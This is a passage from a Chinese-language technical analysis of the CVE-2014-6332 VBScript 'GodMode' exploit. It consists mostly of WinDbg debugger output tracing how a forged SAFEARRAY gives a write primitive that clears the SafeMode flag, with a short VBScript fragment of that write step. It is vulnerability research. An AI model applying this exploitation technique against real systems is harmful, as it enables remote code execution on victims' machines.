eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 08 00 00 00 08 00 00 00-24 87 df 01 01 00 a0 41 ........$......A
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000000 esi=0249cbf8 edi=01df84f0
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb0cb42 0013ebf0 01df84f0 01df84e0
0:005> dd 01df84e0 L4
01df84e0 00000003 00000000 01df8648 00000000
0:005> dd 01df8724-8-4 L8
01df8718 6fb04934 00000001 01df8648 01e007f8
01df8728 01e028bc 00000000 01df8648 0013ebf0
3 修改SafeMode
最后我們再來看下exploit如何借助Write primitive對SafeMode標志進行修改。由前面的分析可知此標志是vbscript!COleScript對象指針特定偏移處的一個值,而vbscript!COleScript對象指針又可以通過vbscript!CScriptEntryPoint對象指針得到,因此SafeMode標志的查找過程如下:
0:005> ln poi(01df8718)
(6fb04934) vbscript!CScriptEntryPoint::`vftable' | (6fb1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> dd 01df8718+8 L1
01df8720 01df8648
0:005> dd 01df8648+10 L1
01df8658 01df75f0
0:005> ln poi(01df75f0)
(6fb04868) vbscript!COleScript::`vftable' | (6fb1fdbc) vbscript!`string'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
0:005> dd 01df75f0+174 L4
01df7764 0000000e 00000000 00000000 00000000
當找到此標志所在內存地址后,接下去就是對其進行修改,相關代碼如下:
if (j=14) then
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) 'write primitive'
redim Preserve aa(a0)
exit for
end if
我們來跟下這個過程:
0:005> bl
0 e 7664ec2c 0001 (0001) 0:**** OLEAUT32!SafeArrayRedim ".if(poi(poi(02e67900)-4)=0x0e){}.else{gc}"
1 d 6fb02e64 0001 (0001) 0:**** vbscript!AssignVar
2 d 6fb11f4c 0001 (0001) 0:**** vbscript!AccessArray
0:005> g
eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84e0 edi=01e00900
eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41 ........hw.....A
0:005> bp OLEAUT32!SafeArrayRedim
breakpoint 0 redefined
0:005> g
Breakpoint 0 hit
eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000078 esi=01df8510 edi=01e00900
eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> be *
0:005> g
Breakpoint 2 hit
eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00910
eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> dd esp L8
0249cd44 6fb12028 0249ce54 0013f274 00000001
0249cd54 01df8510 0249cd70 0249ce5c 6fb0dc01
0:005> gu
eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000002 esi=00000001 edi=01e00910
eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::LockArray+0x1a:
6fb12028 85c0 test eax,eax
0:005> dd poi(0249ce54) L4
02e67930 00000000 00000000 00000000 00000000
0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x02e678f0 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> g
Breakpoint 2 hit
eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> dd esp L8
0249cd44 6fb12028 0249ce54 0013f23c 00000001
0249cd54 01df8500 0249cd70 0249ce5c 6fb0dc01
0:005> gu
eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000060 esi=00000001 edi=01e00900
eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::LockArray+0x1a:
6fb12028 85c0 test eax,eax
0:005> dd poi(0249ce54) L4
02e67918 0000200c 0000200c 00405014 0249cc18
0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x02e66ec8 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> g
Breakpoint 2 hit
eax=0249ce54 ebx=0249ceb4 ecx=01df8500 edx=0000400c esi=00000001 edi=00000010
eip=6fb11f4c esp=0249cd5c ebp=0249ce5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> dd esp L8
0249cd5c 6fb0255c 0249ce54 01df8500 00000001
0249cd6c 01df84f0 00000000 0249d070 0249ceb4
0:005> dd 01df8500 L4
01df8500 0000400c 00000000 02e67918 00000000
0:005> dd 02e67918 L4
02e67918 0000200c 0000200c 00405014 0249cc18
0:005> dd 00405014 L6
00405014 08800001 00000001 00000000 00000000
00405024 7fff0000 00000000
0:005> dt ole32!tagSAFEARRAY 00405014
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 1
+0x008 cLocks : 0
+0x00c pvData : (null)
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
可以看到,之前精心構造的SAFEARRAY結構在這里用到了,通過它可返回以索引值i+&h11c+k為起始地址的Variant結構變量,即pvData+(i+&h11c+k)*cbElements=i+&h11c+k,因此可實現Write primitive,這里該索引值為0x01df7760:
......
0:005> p
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11fe8 esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray+0xd6:
6fb11fe8 8b4604 mov eax,dword ptr [esi+4] ds:0023:00405018=00000001
0:005>
eax=00000001 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11feb esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray+0xd9:
6fb11feb 0faf450c imul eax,dword ptr [ebp+0Ch] ss:0023:0249cd64=01df7760
0:005>
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11fef esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AccessArray+0xdd:
6fb11fef 03460c add eax,dword ptr [esi+0Ch] ds:0023:00405020=00000000
0:005>
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11ff2 esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AccessArray+0xe0:
6fb11ff2 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:0249cd60=0249ce54
0:005>
eax=01df7760 ebx=01df84f0 ecx=0249ce54 edx=00000003 esi=00405014 edi=00405024
eip=6fb11ff5 esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AccessArray+0xe3:
6fb11ff5 8901 mov dword ptr [ecx],eax ds:0023:0249ce54=01df8500
......
0:005> dd poi(0249ce54) L4
01df7760 00000000 0000000e 00000000 00000000
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41 ........hw.....A
再接著就是將前面獲取的ab(4)賦給這個Variant結構變量:
0:005> g
Breakpoint 1 hit
eax=01df8510 ebx=0249ceb4 ecx=0249ceb4 edx=00000003 esi=00000001 edi=00000010
eip=6fb02e64 esp=0249cd60 ebp=0249ce5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 0 hit
eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df8510 edi=01e00900
eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> dd 01df7760 L4
01df7760 00000000 00000000 00000000 00000000
可以看到SafeMode標志被清零了,因此記事本也就能彈出來了。
0x05 參考
- https://www.exploit-db.com/exploits/35229/
- http://blog.vulnhunt.com/index.php/2014/11/18/about_cve-2014-6332/ (web archive)
- http://www.vxjump.net/files/vuln_analysis/a_cve-2014-6332.txt
- http://xteam.baidu.com/?p=104
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/240/